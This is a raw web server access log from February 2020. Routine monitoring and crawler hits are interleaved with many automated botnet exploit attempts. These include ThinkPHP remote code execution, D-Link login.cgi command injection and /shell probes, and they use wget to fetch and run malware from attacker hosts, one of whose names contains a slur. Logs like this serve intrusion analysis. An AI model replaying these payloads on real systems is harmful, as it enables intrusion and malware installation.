220.121.0.69 - - [13/Feb/2020:08:32:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
185.193.176.167 - - [13/Feb/2020:08:32:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:08:32:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.177.229.199 - - [13/Feb/2020:08:32:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
113.23.97.148 - - [13/Feb/2020:08:32:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:08:33:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.196.108.183 - - [13/Feb/2020:08:33:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:08:34:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:35:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.122.111.105 - - [13/Feb/2020:08:35:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.145.102 - - [13/Feb/2020:08:35:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:08:36:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.227.55.76 - - [13/Feb/2020:08:36:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:08:37:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:38:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:39:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [13/Feb/2020:08:40:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:08:40:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.5.115.116 - - [13/Feb/2020:08:40:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
91.203.193.47 - - [13/Feb/2020:08:41:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:08:41:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.170.159 - - [13/Feb/2020:08:41:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:08:42:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:44:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.254.151.114 - - [13/Feb/2020:08:44:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:08:45:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.243.50.62 - - [13/Feb/2020:08:46:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:08:46:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:47:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:48:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.212.89.95 - - [13/Feb/2020:08:48:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:08:49:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:50:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:51:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:52:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:53:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:54:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:55:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:56:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:57:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.253.21 - - [13/Feb/2020:08:57:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.80 - - [13/Feb/2020:08:57:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:08:58:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:59:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.75.86.138 - - [13/Feb/2020:08:59:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
35.226.136.36 - - [13/Feb/2020:08:59:52 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
35.226.136.36 - - [13/Feb/2020:08:59:53 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
212.91.246.72 - - [13/Feb/2020:09:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.166.113.175 - - [13/Feb/2020:09:01:21 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:09:01:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:02:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:03:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:04:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.166.93.230 - - [13/Feb/2020:09:04:33 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:09:05:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:06:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.76.232.156 - - [13/Feb/2020:09:06:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.231.127.189 - - [13/Feb/2020:09:06:48 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:09:07:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:08:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:09:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.39.9.56 - - [13/Feb/2020:09:09:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:09:10:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:11:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:13:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.35.170.53 - - [13/Feb/2020:09:13:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.68.246.198 - - [13/Feb/2020:09:13:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [13/Feb/2020:09:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:15:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:16:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:17:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:18:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.188.40 - - [13/Feb/2020:09:19:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:09:20:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:21:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:22:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.200.82.114 - - [13/Feb/2020:09:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:09:23:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:24:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:25:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:27:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [13/Feb/2020:09:28:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:09:28:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.187.209.182 - - [13/Feb/2020:09:28:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:09:29:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:30:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.169.242.34 - - [13/Feb/2020:09:30:59 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:09:31:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.201.48 - - [13/Feb/2020:09:31:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:09:32:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:33:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:34:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:35:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.48 - - [13/Feb/2020:09:36:06 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.48 - - [13/Feb/2020:09:36:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [13/Feb/2020:09:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:37:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:38:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:39:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:40:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:41:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.51.219 - - [13/Feb/2020:09:41:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:09:42:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:44:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:45:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:46:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:47:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:48:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:49:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.42.195.86 - - [13/Feb/2020:09:49:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:09:50:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.91.19.54 - - [13/Feb/2020:09:50:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:09:51:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:52:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:53:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:55:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.121.167.151 - - [13/Feb/2020:09:55:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:09:56:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.112.230 - - [13/Feb/2020:09:56:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.64.129.56 - - [13/Feb/2020:09:56:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:09:57:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.50.83.252 - - [13/Feb/2020:09:57:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
42.114.133.214 - - [13/Feb/2020:09:58:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:09:58:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:09:59:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.77.103.19 - - [13/Feb/2020:10:00:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
